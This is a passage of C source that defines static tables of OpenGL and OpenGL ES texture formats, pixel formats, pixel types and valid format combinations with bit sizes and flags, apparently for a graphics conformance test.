0, 0, 0, 0 } }, 0 }, { GL_RGB8, GL_RGB, GL_RGB, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 8, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_ES30 }, { GL_RGB8_SNORM, GL_RGB, GL_RGB, GL_BYTE, SAMPLER_NORM, { { 8, 8, 8, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB565, GL_RGB, GL_RGB, GL_UNSIGNED_SHORT_5_6_5, SAMPLER_UNORM, { { 5, 6, 5, 0, 0, 0, 0, 0, 0 } }, FLAG_PACKED|FLAG_REQ_RBO }, { GL_RGBA4, GL_RGBA, GL_RGBA, GL_UNSIGNED_SHORT_4_4_4_4, SAMPLER_UNORM, { { 4, 4, 4, 4, 0, 0, 0, 0, 0 } }, FLAG_PACKED|FLAG_REQ_RBO }, { GL_RGB5_A1, GL_RGBA, GL_RGBA, GL_UNSIGNED_SHORT_5_5_5_1, SAMPLER_UNORM, { { 5, 5, 5, 1, 0, 0, 0, 0, 0 } }, FLAG_PACKED|FLAG_REQ_RBO }, { GL_RGBA8, GL_RGBA, GL_RGBA, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RGBA8_SNORM, GL_RGBA, GL_RGBA, GL_BYTE, SAMPLER_NORM, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB10_A2, GL_RGBA, GL_RGBA, GL_UNSIGNED_INT_2_10_10_10_REV, SAMPLER_UNORM, { {10,10,10, 2, 0, 0, 0, 0, 0 } }, FLAG_PACKED|FLAG_REQ_RBO_ES30 }, { GL_RGB10_A2UI, GL_RGBA, GL_RGBA_INTEGER, GL_UNSIGNED_INT_2_10_10_10_REV, SAMPLER_UINT, { {10,10,10, 2, 0, 0, 0, 0, 0 } }, FLAG_PACKED|FLAG_REQ_RBO_ES30 }, { GL_SRGB8, GL_RGB, GL_RGB, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 8, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_SRGB8_ALPHA8, GL_RGBA, GL_RGBA, GL_UNSIGNED_BYTE, SAMPLER_UNORM, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_R16F, GL_RED, GL_RED, GL_HALF_FLOAT, SAMPLER_FLOAT, { {16, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_RG16F, GL_RG, GL_RG, GL_HALF_FLOAT, SAMPLER_FLOAT, { {16,16, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_RGB16F, GL_RGB, GL_RGB, GL_HALF_FLOAT, SAMPLER_FLOAT, { {16,16,16, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGBA16F, GL_RGBA, GL_RGBA, GL_HALF_FLOAT, SAMPLER_FLOAT, { {16,16,16,16, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_R32F, GL_RED, GL_RED, GL_FLOAT, SAMPLER_FLOAT, { {32, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_RG32F, GL_RG, GL_RG, GL_FLOAT, SAMPLER_FLOAT, { {32,32, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_RGB32F, GL_RGB, GL_RGB, GL_FLOAT, SAMPLER_FLOAT, { {32,32,32, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGBA32F, GL_RGBA, GL_RGBA, GL_FLOAT, SAMPLER_FLOAT, { {32,32,32,32, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO_GL42 }, { GL_R11F_G11F_B10F, GL_RGB, GL_RGB, GL_UNSIGNED_INT_10F_11F_11F_REV, SAMPLER_FLOAT, { {11,11,10, 0, 0, 0, 0, 0, 0 } }, FLAG_PACKED|FLAG_REQ_RBO_GL42 }, { GL_RGB9_E5, GL_RGB, GL_RGB, GL_UNSIGNED_INT_5_9_9_9_REV, SAMPLER_FLOAT, { { 9, 9, 9, 0, 0, 0, 0, 0, 5 } }, FLAG_PACKED }, { GL_R8I, GL_RED, GL_RED_INTEGER, GL_BYTE, SAMPLER_INT, { { 8, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_R8UI, GL_RED, GL_RED_INTEGER, GL_UNSIGNED_BYTE, SAMPLER_UINT, { { 8, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_R16I, GL_RED, GL_RED_INTEGER, GL_SHORT, SAMPLER_INT, { {16, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_R16UI, GL_RED, GL_RED_INTEGER, GL_UNSIGNED_SHORT, SAMPLER_UINT, { {16, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_R32I, GL_RED, GL_RED_INTEGER, GL_INT, SAMPLER_INT, { {32, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_R32UI, GL_RED, GL_RED_INTEGER, GL_UNSIGNED_INT, SAMPLER_UINT, { {32, 0, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RG8I, GL_RG, GL_RG_INTEGER, GL_BYTE, SAMPLER_INT, { { 8, 8, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RG8UI, GL_RG, GL_RG_INTEGER, GL_UNSIGNED_BYTE, SAMPLER_UINT, { { 8, 8, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RG16I, GL_RG, GL_RG_INTEGER, GL_SHORT, SAMPLER_INT, { {16,16, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RG16UI, GL_RG, GL_RG_INTEGER, GL_UNSIGNED_SHORT, SAMPLER_UINT, { {16,16, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RG32I, GL_RG, GL_RG_INTEGER, GL_INT, SAMPLER_INT, { {32,32, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RG32UI, GL_RG, GL_RG_INTEGER, GL_UNSIGNED_INT, SAMPLER_UINT, { {32,32, 0, 0, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RGB8I, GL_RGB, GL_RGB_INTEGER, GL_BYTE, SAMPLER_INT, { { 8, 8, 8, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB8UI, GL_RGB, GL_RGB_INTEGER, GL_UNSIGNED_BYTE, SAMPLER_UINT, { { 8, 8, 8, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB16I, GL_RGB, GL_RGB_INTEGER, GL_SHORT, SAMPLER_INT, { {16,16,16, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB16UI, GL_RGB, GL_RGB_INTEGER, GL_UNSIGNED_SHORT, SAMPLER_UINT, { {16,16,16, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB32I, GL_RGB, GL_RGB_INTEGER, GL_INT, SAMPLER_INT, { {32,32,32, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGB32UI, GL_RGB, GL_RGB_INTEGER, GL_UNSIGNED_INT, SAMPLER_UINT, { {32,32,32, 0, 0, 0, 0, 0, 0 } }, 0 }, { GL_RGBA8I, GL_RGBA, GL_RGBA_INTEGER, GL_BYTE, SAMPLER_INT, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RGBA8UI, GL_RGBA, GL_RGBA_INTEGER, GL_UNSIGNED_BYTE, SAMPLER_UINT, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RGBA16I, GL_RGBA, GL_RGBA_INTEGER, GL_SHORT, SAMPLER_INT, { {16,16,16,16, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RGBA16UI, GL_RGBA, GL_RGBA_INTEGER, GL_UNSIGNED_SHORT, SAMPLER_UINT, { {16,16,16,16, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RGBA32I, GL_RGBA, GL_RGBA_INTEGER, GL_INT, SAMPLER_INT, { {32,32,32,32, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_RGBA32UI, GL_RGBA, GL_RGBA_INTEGER, GL_UNSIGNED_INT, SAMPLER_UINT, { {32,32,32,32, 0, 0, 0, 0, 0 } }, FLAG_REQ_RBO }, { GL_DEPTH_COMPONENT16, GL_DEPTH_COMPONENT, GL_DEPTH_COMPONENT, GL_UNSIGNED_SHORT, SAMPLER_UNORM, { { 0, 0, 0, 0, 0, 0,16, 0, 0 } }, FLAG_REQ_RBO }, { GL_DEPTH_COMPONENT24, GL_DEPTH_COMPONENT, GL_DEPTH_COMPONENT, GL_UNSIGNED_INT, SAMPLER_UNORM, { { 0, 0, 0, 0, 0, 0,24, 0, 0 } }, FLAG_REQ_RBO }, { GL_DEPTH_COMPONENT32F, GL_DEPTH_COMPONENT, GL_DEPTH_COMPONENT, GL_FLOAT, SAMPLER_FLOAT, { { 0, 0, 0, 0, 0, 0,32, 0, 0 } }, FLAG_REQ_RBO }, { GL_DEPTH24_STENCIL8, GL_DEPTH_STENCIL, GL_DEPTH_STENCIL, GL_UNSIGNED_INT_24_8, SAMPLER_UNORM, { { 0, 0, 0, 0, 0, 0,24, 8, 0 } }, FLAG_REQ_RBO }, { GL_DEPTH32F_STENCIL8, GL_DEPTH_STENCIL, GL_DEPTH_STENCIL, GL_FLOAT_32_UNSIGNED_INT_24_8_REV, SAMPLER_FLOAT, { { 0, 0, 0, 0, 0, 0,32, 8, 0 } }, FLAG_PACKED|FLAG_REQ_RBO }, }; static const PixelFormat coreFormats[] = { { GL_STENCIL_INDEX, 1, FORMAT_STENCIL, GL_STENCIL_ATTACHMENT, { {-1,-1,-1,-1,-1,-1,-1, 0,-1} } }, { GL_DEPTH_COMPONENT, 1, FORMAT_DEPTH, GL_DEPTH_ATTACHMENT, { {-1,-1,-1,-1,-1,-1, 0,-1,-1} } }, { GL_DEPTH_STENCIL, 2, FORMAT_DEPTH_STENCIL, GL_DEPTH_STENCIL_ATTACHMENT, { {-1,-1,-1,-1,-1,-1, 0, 1,-1} } }, { GL_RED, 1, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { { 0,-1,-1,-1,-1,-1,-1,-1,-1} } }, { GL_GREEN, 1, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { {-1, 0,-1,-1,-1,-1,-1,-1,-1} } }, { GL_BLUE, 1, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { {-1,-1, 0,-1,-1,-1,-1,-1,-1} } }, { GL_RG, 2, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { { 0, 1,-1,-1,-1,-1,-1,-1,-1} } }, { GL_RGB, 3, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { { 0, 1, 2,-1,-1,-1,-1,-1,-1} } }, { GL_RGBA, 4, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { { 0, 1, 2, 3,-1,-1,-1,-1,-1} } }, { GL_BGR, 3, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { { 2, 1, 0,-1,-1,-1,-1,-1,-1} } }, { GL_BGRA, 4, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { { 2, 1, 0, 3,-1,-1,-1,-1,-1} } }, { GL_RED_INTEGER, 1, FORMAT_COLOR_INTEGER, GL_COLOR_ATTACHMENT0, { { 0,-1,-1,-1,-1,-1,-1,-1,-1} } }, { GL_GREEN_INTEGER, 1, FORMAT_COLOR_INTEGER, GL_COLOR_ATTACHMENT0, { {-1, 0,-1,-1,-1,-1,-1,-1,-1} } }, { GL_BLUE_INTEGER, 1, FORMAT_COLOR_INTEGER, GL_COLOR_ATTACHMENT0, { {-1,-1, 0,-1,-1,-1,-1,-1,-1} } }, { GL_RG_INTEGER, 2, FORMAT_COLOR_INTEGER, GL_COLOR_ATTACHMENT0, { { 0, 1,-1,-1,-1,-1,-1,-1,-1} } }, { GL_RGB_INTEGER, 3, FORMAT_COLOR_INTEGER, GL_COLOR_ATTACHMENT0, { { 0, 1, 2,-1,-1,-1,-1,-1,-1} } }, { GL_RGBA_INTEGER, 4, FORMAT_COLOR_INTEGER, GL_COLOR_ATTACHMENT0, { { 0, 1, 2, 3,-1,-1,-1,-1,-1} } }, { GL_BGR_INTEGER, 3, FORMAT_COLOR_INTEGER, GL_COLOR_ATTACHMENT0, { { 2, 1, 0,-1,-1,-1,-1,-1,-1} } }, { GL_BGRA_INTEGER, 4, FORMAT_COLOR_INTEGER, GL_COLOR_ATTACHMENT0, { { 2, 1, 0, 3,-1,-1,-1,-1,-1} } }, }; static const PixelFormat esFormats[] = { { GL_DEPTH_COMPONENT, 1, FORMAT_DEPTH, GL_DEPTH_ATTACHMENT, { {-1,-1,-1,-1,-1,-1, 0,-1,-1} } }, { GL_DEPTH_STENCIL, 2, FORMAT_DEPTH_STENCIL, GL_DEPTH_STENCIL_ATTACHMENT, { {-1,-1,-1,-1,-1,-1, 0, 1,-1} } }, { GL_RED, 1, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { { 0,-1,-1,-1,-1,-1,-1,-1,-1} } }, { GL_RG, 2, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { { 0, 1,-1,-1,-1,-1,-1,-1,-1} } }, { GL_RGB, 3, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { { 0, 1, 2,-1,-1,-1,-1,-1,-1} } }, { GL_RGBA, 4, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { { 0, 1, 2, 3,-1,-1,-1,-1,-1} } }, { GL_LUMINANCE, 1, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { {-1,-1,-1,-1,-1, 0,-1,-1,-1} } }, { GL_ALPHA, 1, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { {-1,-1,-1, 0,-1,-1,-1,-1,-1} } }, { GL_LUMINANCE_ALPHA, 2, FORMAT_COLOR, GL_COLOR_ATTACHMENT0, { {-1,-1,-1, 1,-1, 0,-1,-1,-1} } }, { GL_RED_INTEGER, 1, FORMAT_COLOR_INTEGER, GL_COLOR_ATTACHMENT0, { { 0,-1,-1,-1,-1,-1,-1,-1,-1} } }, { GL_RG_INTEGER, 2, FORMAT_COLOR_INTEGER, GL_COLOR_ATTACHMENT0, { { 0, 1,-1,-1,-1,-1,-1,-1,-1} } }, { GL_RGB_INTEGER, 3, FORMAT_COLOR_INTEGER, GL_COLOR_ATTACHMENT0, { { 0, 1, 2,-1,-1,-1,-1,-1,-1} } }, { GL_RGBA_INTEGER, 4, FORMAT_COLOR_INTEGER, GL_COLOR_ATTACHMENT0, { { 0, 1, 2, 3,-1,-1,-1,-1,-1} } }, }; static const PixelType coreTypes[] = { { GL_UNSIGNED_BYTE, sizeof(GLubyte), STORAGE_UNSIGNED, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, true }, { GL_BYTE, sizeof(GLbyte), STORAGE_SIGNED, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, true }, { GL_UNSIGNED_SHORT, sizeof(GLushort), STORAGE_UNSIGNED, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, true }, { GL_SHORT, sizeof(GLshort), STORAGE_SIGNED, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, true }, { GL_UNSIGNED_INT, sizeof(GLuint), STORAGE_UNSIGNED, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, false }, { GL_INT, sizeof(GLint), STORAGE_SIGNED, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, false }, { GL_HALF_FLOAT, sizeof(GLhalf), STORAGE_FLOAT, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, false }, { GL_FLOAT, sizeof(GLfloat), STORAGE_FLOAT, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_SHORT_5_6_5, sizeof(GLushort), STORAGE_UNSIGNED, true, false, { { 5, 6, 5, 0, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_SHORT_4_4_4_4, sizeof(GLushort), STORAGE_UNSIGNED, true, false, { { 4, 4, 4, 4, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_SHORT_5_5_5_1, sizeof(GLushort), STORAGE_UNSIGNED, true, false, { { 5, 5, 5, 1, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_INT_2_10_10_10_REV, sizeof(GLuint), STORAGE_UNSIGNED, true, true, { {10,10,10, 2, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_INT_24_8, sizeof(GLuint), STORAGE_UNSIGNED, true, false, { { 0, 0, 0, 0, 0, 0,24, 8, 0 } }, false }, { GL_UNSIGNED_INT_10F_11F_11F_REV, sizeof(GLuint), STORAGE_FLOAT, true, true, { { 6, 7, 7, 0, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_INT_5_9_9_9_REV, sizeof(GLuint), STORAGE_FLOAT, true, true, { { 9, 9, 9, 5, 0, 0, 0, 0, 0 } }, false }, { GL_FLOAT_32_UNSIGNED_INT_24_8_REV, sizeof(GLfloat)+sizeof(GLuint), STORAGE_FLOAT, true, true, { { 0, 0, 0, 0, 0, 0,32, 8,24 } }, false }, { GL_UNSIGNED_BYTE_3_3_2, sizeof(GLubyte), STORAGE_UNSIGNED, true, false, { { 3, 3, 2, 0, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_BYTE_2_3_3_REV, sizeof(GLubyte), STORAGE_UNSIGNED, true, true, { { 3, 3, 2, 0, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_SHORT_5_6_5_REV, sizeof(GLushort), STORAGE_UNSIGNED, true, true, { { 5, 6, 5, 0, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_SHORT_4_4_4_4_REV, sizeof(GLushort), STORAGE_UNSIGNED, true, true, { { 4, 4, 4, 4, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_SHORT_1_5_5_5_REV, sizeof(GLushort), STORAGE_UNSIGNED, true, true, { { 5, 5, 5, 1, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_INT_8_8_8_8, sizeof(GLuint), STORAGE_UNSIGNED, true, false, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_INT_8_8_8_8_REV, sizeof(GLuint), STORAGE_UNSIGNED, true, true, { { 8, 8, 8, 8, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_INT_10_10_10_2, sizeof(GLuint), STORAGE_UNSIGNED, true, true, { {10,10,10, 2, 0, 0, 0, 0, 0 } }, false }, }; static const PixelType esTypes[] = { { GL_UNSIGNED_BYTE, sizeof(GLubyte), STORAGE_UNSIGNED, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, true }, { GL_BYTE, sizeof(GLbyte), STORAGE_SIGNED, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, true }, { GL_UNSIGNED_SHORT, sizeof(GLushort), STORAGE_UNSIGNED, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, true }, { GL_SHORT, sizeof(GLshort), STORAGE_SIGNED, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, true }, { GL_UNSIGNED_INT, sizeof(GLuint), STORAGE_UNSIGNED, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, false }, { GL_INT, sizeof(GLint), STORAGE_SIGNED, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, false }, { GL_HALF_FLOAT, sizeof(GLhalf), STORAGE_FLOAT, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, false }, { GL_FLOAT, sizeof(GLfloat), STORAGE_FLOAT, false, false, { { 0, 0, 0, 0, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_SHORT_5_6_5, sizeof(GLushort), STORAGE_UNSIGNED, true, false, { { 5, 6, 5, 0, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_SHORT_4_4_4_4, sizeof(GLushort), STORAGE_UNSIGNED, true, false, { { 4, 4, 4, 4, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_SHORT_5_5_5_1, sizeof(GLushort), STORAGE_UNSIGNED, true, false, { { 5, 5, 5, 1, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_INT_2_10_10_10_REV, sizeof(GLuint), STORAGE_UNSIGNED, true, true, { {10,10,10, 2, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_INT_24_8, sizeof(GLuint), STORAGE_UNSIGNED, true, false, { { 0, 0, 0, 0, 0, 0,24, 8, 0 } }, false }, { GL_UNSIGNED_INT_10F_11F_11F_REV, sizeof(GLuint), STORAGE_FLOAT, true, true, { { 6, 7, 7, 0, 0, 0, 0, 0, 0 } }, false }, { GL_UNSIGNED_INT_5_9_9_9_REV, sizeof(GLuint), STORAGE_FLOAT, true, true, { { 9, 9, 9, 5, 0, 0, 0, 0, 0 } }, false }, { GL_FLOAT_32_UNSIGNED_INT_24_8_REV, sizeof(GLfloat)+sizeof(GLuint), STORAGE_FLOAT, true, true, { { 0, 0, 0, 0, 0, 0,32, 8,24 } }, false }, }; static const EnumFormats esValidFormats[] = { { GL_RGBA8, GL_RGBA, GL_UNSIGNED_BYTE, 4, true }, { GL_RGB5_A1, GL_RGBA, GL_UNSIGNED_BYTE, 4, true }, { GL_RGBA4, GL_RGBA, GL_UNSIGNED_BYTE, 4, true }, { GL_SRGB8_ALPHA8, GL_RGBA, GL_UNSIGNED_BYTE, 4, true }, { GL_RGBA8_SNORM, GL_RGBA, GL_BYTE, 4, false }, { GL_RGBA4, GL_RGBA, GL_UNSIGNED_SHORT_4_4_4_4, 2, true }, { GL_RGB5_A1, GL_RGBA, GL_UNSIGNED_SHORT_5_5_5_1, 2, true }, { GL_RGB10_A2, GL_RGBA, GL_UNSIGNED_INT_2_10_10_10_REV, 4, true }, { GL_RGB5_A1, GL_RGBA, GL_UNSIGNED_INT_2_10_10_10_REV, 4, true }, { GL_RGBA16F, GL_RGBA, GL_HALF_FLOAT, 8, false }, { GL_RGBA32F, GL_RGBA, GL_FLOAT, 16, false }, { GL_RGBA16F, GL_RGBA, GL_FLOAT, 16, false }, { GL_RGBA8UI, GL_RGBA_INTEGER, GL_UNSIGNED_BYTE, 4, true }, { GL_RGBA8I, GL_RGBA_INTEGER, GL_BYTE, 4, true }, { GL_RGBA16UI, GL_RGBA_INTEGER, GL_UNSIGNED_SHORT, 8, true }, { GL_RGBA16I, GL_RGBA_INTEGER, GL_SHORT, 8, true }, { GL_RGBA32UI, GL_RGBA_INTEGER, GL_UNSIGNED_INT, 16, true }, { GL_RGBA32I, GL_RGBA_INTEGER, GL_INT, 16, true }, { GL_RGB10_A2UI, GL_RGBA_INTEGER, GL_UNSIGNED_INT_2_10_10_10_REV, 4, true }, { GL_RGB8, GL_RGB, GL_UNSIGNED_BYTE, 3, true }, { GL_RGB565, GL_RGB, GL_UNSIGNED_BYTE, 3, true }, { GL_SRGB8, GL_RGB, GL_UNSIGNED_BYTE, 3, false }, { GL_RGB8_SNORM, GL_RGB, GL_BYTE, 3, false }, { GL_RGB565, GL_RGB, GL_UNSIGNED_SHORT_5_6_5, 2, true }, { GL_R11F_G11F_B10F, GL_RGB, GL_UNSIGNED_INT_10F_11F_11F_REV, 4, false }, { GL_R11F_G11F_B10F, GL_RGB, GL_HALF_FLOAT, 6, false }, { GL_R11F_G11F_B10F, GL_RGB, GL_FLOAT, 12, false }, { GL_RGB9_E5, GL_RGB, GL_UNSIGNED_INT_5_9_9_9_REV, 4, false }, { GL_RGB9_E5, GL_RGB, GL_HALF_FLOAT, 6, false }, { GL_RGB9_E5, GL_RGB, GL_FLOAT, 12, false }, { GL_RGB16F, GL_RGB, GL_HALF_FLOAT, 6, false }, { GL_RGB32F, GL_RGB, GL_FLOAT, 12, false }, { GL_RGB16F, GL_RGB, GL_FLOAT, 12, false }, { GL_RGB8UI, GL_RGB_INTEGER, GL_UNSIGNED_BYTE, 3, false }, { GL_RGB8I, GL_RGB_INTEGER, GL_BYTE, 3, false }, { GL_RGB16UI, GL_RGB_INTEGER, GL_UNSIGNED_SHORT, 6, false }, { GL_RGB16I, GL_RGB_INTEGER, GL_SHORT, 6, false }, { GL_RGB32UI, GL_RGB_INTEGER, GL_UNSIGNED_INT, 12, false }, { GL_RGB32I, GL_RGB_INTEGER, GL_INT, 12, false }, { GL_RG8, GL_RG, GL_UNSIGNED_BYTE, 2, true }, { GL_RG8_SNORM, GL_RG, GL_BYTE, 2, false }, { GL_RG16F, GL_RG, GL_HALF_FLOAT, 4, false }, { GL_RG32F, GL_RG, GL_FLOAT, 8, false }, { GL_RG16F, GL_RG, GL_FLOAT, 8, false }, { GL_RG8UI, GL_RG_INTEGER, GL_UNSIGNED_BYTE, 2, true }, { GL_RG8I, GL_RG_INTEGER, GL_BYTE, 2, true }, { GL_RG16UI, GL_RG_INTEGER, GL_UNSIGNED_SHORT, 4, true }, { GL_RG16I, GL_RG_INTEGER, GL_SHORT, 4, true }, { GL_RG32UI, GL_RG_INTEGER, GL_UNSIGNED_INT, 8, true }, { GL_RG32I, GL_RG_INTEGER, GL_INT, 8, true }, { GL_R8, GL_RED, GL_UNSIGNED_BYTE, 1, true }, { GL_R8_SNORM, GL_RED, GL_BYTE, 1, false }, { GL_R16F, GL_RED, GL_HALF_FLOAT, 2, false }, { GL_R32F, GL_RED, GL_FLOAT, 4, false }, { GL_R16F, GL_RED, GL_FLOAT, 4, false }, { GL_R8UI, GL_RED_INTEGER, GL_UNSIGNED_BYTE, 1, true }, { GL_R8I, GL_RED_INTEGER, GL_BYTE, 1, true }, { GL_R16UI, GL_RED_INTEGER, GL_UNSIGNED_SHORT, 2, true }, { GL_R16I, GL_RED_INTEGER, GL_SHORT, 2, true }, { GL_R32UI, GL_RED_INTEGER, GL_UNSIGNED_INT, 4, true }, { GL_R32I, GL_RED_INTEGER, GL_INT, 4, true }, { GL_DEPTH_COMPONENT24, GL_DEPTH_COMPONENT, GL_UNSIGNED_INT, 4, true }, { GL_DEPTH_COMPONENT16, GL_DEPTH_COMPONENT, GL_UNSIGNED_INT, 4, true }, { GL_DEPTH_COMPONENT16, GL_DEPTH_COMPONENT, GL_UNSIGNED_SHORT, 2, true }, { GL_DEPTH_COMPONENT32F, GL_DEPTH_COMPONENT, GL_FLOAT, 4, true }, { GL_DEPTH24_STENCIL8, GL_DEPTH_STENCIL, GL_UNSIGNED_INT_24_8, 4, true }, { GL_DEPTH32F_STENCIL8, GL_DEPTH_STENCIL, GL_FLOAT_32_UNSIGNED_INT_24_8_REV, 8, true }, { GL_RGBA, GL_RGBA, GL_UNSIGNED_BYTE, 4, true }, { GL_RGBA, GL_RGBA, GL_UNSIGNED_SHORT_4_4_4_4, 2, true }, { GL_RGBA, GL_RGBA, GL_UNSIGNED_SHORT_5_5_5_1, 2, true }, { GL_RGB, GL_RGB, GL_UNSIGNED_BYTE, 3, true }, { GL_RGB, GL_RGB, GL_UNSIGNED_SHORT_5_6_5, 2, true }, { GL_LUMINANCE_ALPHA, GL_LUMINANCE_ALPHA, GL_UNSIGNED_BYTE, 2, false }, { GL_LUMINANCE, GL_LUMINANCE, GL_UNSIGNED_BYTE, 1, false }, { GL_ALPHA, GL_ALPHA, GL_UNSIGNED_BYTE, 1, false }, }; static const EnumFormats coreValidFormats[] = { { GL_RGB, GL_RGB, GL_UNSIGNED_BYTE_3_3_2, 3, true }, { GL_RGB_INTEGER, GL_RGB_INTEGER, GL_UNSIGNED_BYTE_3_3_2, 3, true }, { GL_RGB, GL_RGB, GL_UNSIGNED_BYTE_2_3_3_REV, 3, true }, { GL_RGB_INTEGER, GL_RGB_INTEGER, GL_UNSIGNED_BYTE_2_3_3_REV, 3, true }, { GL_RGB, GL_RGB, GL_UNSIGNED_SHORT_5_6_5, 3, true }, { GL_RGB_INTEGER, GL_RGB_INTEGER, GL_UNSIGNED_SHORT_5_6_5, 3, true }, { GL_RGB, GL_RGB, GL_UNSIGNED_SHORT_5_6_5_REV, 3, true }, { GL_RGB_INTEGER, GL_RGB_INTEGER, GL_UNSIGNED_SHORT_5_6_5_REV, 3, true }, { GL_RGBA, GL_RGBA, GL_UNSIGNED_SHORT_4_4_4_4, 4, true }, { GL_RGBA, GL_RGBA, GL_UNSIGNED_SHORT_4_4_4_4_REV, 4, true }, { GL_RGBA_INTEGER, GL_RGBA_INTEGER, GL_UNSIGNED_SHORT_4_4_4_4, 4, true }, { GL_RGBA_INTEGER, GL_RGBA_INTEGER, GL_UNSIGNED_SHORT_4_4_4_4_REV, 4, true }, { GL_BGRA, GL_BGRA, GL_UNSIGNED_SHORT_4_4_4_4_REV, 4, true }, { GL_BGRA, GL_BGRA, GL_UNSIGNED_SHORT_4_4_4_4, 4, true }, { GL_BGRA_INTEGER, GL_BGRA_INTEGER, GL_UNSIGNED_SHORT_4_4_4_4_REV, 4, true }, { GL_BGRA_INTEGER, GL_BGRA_INTEGER, GL_UNSIGNED_SHORT_4_4_4_4, 4, true }, { GL_RGBA, GL_RGBA, GL_UNSIGNED_SHORT_5_5_5_1, 4, true }, { GL_BGRA, GL_BGRA, 